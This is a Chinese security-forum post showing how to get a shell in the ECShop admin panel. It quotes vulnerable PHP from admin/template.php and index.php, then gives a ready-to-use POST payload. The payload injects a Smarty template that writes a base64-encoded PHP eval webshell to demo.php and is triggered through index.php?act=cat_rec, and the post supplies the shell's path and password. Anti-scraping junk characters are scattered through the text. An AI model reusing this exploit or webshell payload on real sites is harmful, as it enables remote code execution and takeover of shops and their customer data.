中国网络渗透测试联盟

标题: Ecshop后台getshell [打印本页]

作者: admin    时间: 2013-1-11 21:33
标题: Ecshop后台getshell
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板8 `6 V' A4 h9 Y
( L, h6 x" t1 X& ~
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
% y7 _; x* j5 v/ M* @: p但是ecshop似乎不支持{php}{/php}这个标签来执行php代码! @5 H+ T0 `8 {& A) J2 \
admin/template.php4 ?' ]8 \6 d# y+ t9 y1 a

" ]6 L- f8 V5 N3 s# L0 T2 S1 if ($_REQUEST['act'] == 'update_library') 8 e' e+ b8 M( v% z2 B

& G$ k4 x0 m' ^* q+ Q2 ~! H2   8 E- a$ b7 ]9 z

4 v+ J( j) ]  C5 v2 b2 f3 {
1 u2 }3 B8 t4 S
$ E. O4 h  ]" V* q. h4     check_authz_json('library_manage'); $ e+ `; z/ u1 @

% y: O7 V9 Q0 M3 @5 W: u5   
! T. o( t- S0 [; \, j( S
; i7 x7 Z! U: L6     $html = stripslashes(json_str_iconv($_POST['html']));
4 _) ^6 G  K& J! G8 {: L' L3 k+ |' x; D+ O  S
7   
/ P" ?  Z! _- B2 n
; R$ A9 d; E" o, c! _0 l8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
5 _; \/ a0 w3 U( M4 H$ t, |! E* t
9   
# D2 C4 j8 E! d, B! t, p' m8 |% {7 T2 i' w: o- p
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
4 t1 _" s& |; p; E# R3 ?* [
1 ~9 k# ~8 n0 c# o11   6 d! M: r* k' {3 z
2 V+ f2 o9 I$ l
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); ! W# n, k' {! o4 {

" A9 }. H% O, H5 E13   & J- V5 z; P2 \' }8 L6 R
+ J" `# J4 Y% w& i: \7 l+ _3 m
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 0 i. m+ V, ]5 `$ F' G+ k! E* L
! o3 _! G7 Y6 i/ ^7 y
15     { " _7 T- L6 j) U
) h- r, f. }6 u# @/ J
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
) u. i, k5 |$ x; O8 I
! E- ~' V7 y% y) s) s5 L2 L( A& u" U( ~7 n  f17         make_json_result('', $_LANG['update_lib_success']);
' {$ [5 {) O' Z% W; o
9 V8 K/ Y9 J$ z7 }& t0 J1 h18     }
9 Y5 n& w0 J5 X- [' O1 K4 e7 @2 z4 J( f
19     else
/ F' u- n/ c/ d& |3 G
0 G: D3 S2 I3 x3 U) {20     {
5 b# t, K$ A  ?$ g+ Q8 k! P* Z) Y- ?2 G! F7 z" }( @: ~0 Q
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 9 ^' \  Q& A/ r/ r5 q

$ e$ Q. x3 {4 b22     } ' T5 Y# |* c% ?5 N; y) _# O

& w6 B$ u9 @1 P1 q. n: T% D# M23 } - `, h+ H9 S7 D- M0 e/ `8 f
- G. ]+ O% g1 `% [# g1 O/ T
那么找个比较方便调用了模板的文件2 q$ P$ J- L/ w# o( E; f8 S
index.php
5 g' I; A: B/ R6 Q5 a5 c' B
$ \0 s" N" [+ _- X' Z$ [1 if ($act == 'cat_rec')
$ U( Q; |, d9 t( w+ d. Z  [% O
. H1 _2 n# |8 u( j2   
1 g% S& m  v6 S) F# c: t9 b1 Q; N$ `' R* c! ]$ }& ^' v! |- Z4 y
3 { 3 l, l3 |2 S5 T6 i  i6 @) ?7 f
& {0 s, _0 ~7 V+ r
4   1 g3 t1 P9 E/ L' N5 m( |, ]

0 r. H3 {2 f+ M) H( O5 K; }. W* w5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); + g( C- y% {8 b. e

5 _, a8 E' M" \) X  H, m6   . i8 J/ R3 r; L2 M+ d

$ {5 o6 O) k2 {8 F  m6 t8 W7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; 7 _' B+ w) A. ]
+ }- I! k9 X0 b5 I
8   $ w2 o% |; T( |; R6 s; }7 Y8 K

' q7 l" w1 S9 u1 r  ~6 }9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
3 T, o, Y3 c9 S, V+ o  Y6 T% R9 H% F7 j- \1 {2 v# z
10   6 ^. q1 ~; z, {9 t( T, o. L" D; n3 ?

+ k2 x+ a- M/ I# I) N  R3 I; T; `11     include_once('includes/cls_json.php');
+ E- O% c: @( v( \/ V+ S" l, m: Z; H/ B- ~% [# b1 e
12   
- G# Z  z1 }6 D1 {9 ?
  w; m* Q" y9 i( a& _/ U/ k1 s7 ]13     $json = new JSON;
9 z1 e& }& e5 F6 Z
0 \- J8 u! i! B- z8 a5 t14   
: C! k) y* C3 P' ?6 W) v) H" ]. k) D5 H9 S5 S6 ^
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
+ R' ?! Y9 Z5 g+ l0 h; b, R
/ {) d3 G1 a, ?# H$ f( w16   
" B# `. ]8 U+ O  j  i  C3 n
- s; k$ S9 t7 l) t' L2 o17     $children = get_children($cat_id);
/ n. N" o) e% B$ e0 U& G/ b' O2 [( h8 `+ ^3 a- ?
18   6 a) ~! Q  \( n8 {" O: A
% O0 ~0 o2 C, A2 P' {6 p
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 ' T! I' T' I" q/ N- r

! l7 {' Y& e1 X2 v20   
3 B" k# u' X! P3 C
1 N2 P% |, v7 o" G0 E7 ]4 f21     $smarty->assign('cat_rec_sign', 1);
( x3 T9 d3 ^: [8 i, o6 z8 i4 G
4 B4 h3 R" B7 O  u8 ^, S- Y22   
7 C- {6 b% E6 Q6 d0 I3 {" |* q
" b, X+ q) x1 t3 M23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best . ^7 L" c: d# S8 q- X- m; P* W

; Q8 a4 m: D9 x6 G8 g( k' H  M4 ?24   
# L9 q0 G/ w% J( V: j  K% h* t# Y& d0 p% ^
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
% D' }* J. M* h1 w/ N1 k7 |7 l" u6 J( @
26   
. u' I$ Q& w+ `$ ?0 n4 c& k6 G) M
0 S( S8 h& |5 w( E; a) v; m27         echo $rec_array[$rec_type]; 7 i9 I* j7 }. n2 n5 y  I
7 Z$ ]- J( `; @+ O' q& n
28   
* @3 u5 y0 P, m/ s0 Y: w) ]
7 N" `# Z& A$ s( O/ I0 f4 I29     die($json->encode($result)); ) b1 }! X$ u% ~

* ?5 F  k$ }5 r" T( W, a  D30   
3 k- c5 K/ E6 f/ \/ I/ d9 h
& H' F; g5 f% ?; J' t31 }
3 l/ a) }4 s6 a7 x, I( O5 @" k8 t  ~# s/ x
那么就有利用方法了& ^; @; v# J6 V3 T% _
post包到http://localhost/ec/admin/template.php?act=update_library, {, A4 _, C- ~/ N8 N
Post内容:, L/ ^, F& a: |" h. m
/ o9 N. p- y, k7 v) d1 M

- i' X$ k0 {; E6 @, E$ G1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
& ^3 H2 E! @/ }! b1 d: D9 y% x9 I; S# D7 p  \
然后访问http://localhost/ec/index.php?act=cat_rec' T2 g1 a% \# {2 z1 ]8 ^$ k
/ }. y( V! T& t- E* C* g
shel地址:http://localhost/ec/demo.php1 K) Q3 _; m7 O
密码c
2 R( @9 G. o! l. r4 S' e9 W+ v2 W
4 }: t' t4 M+ M/ k




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2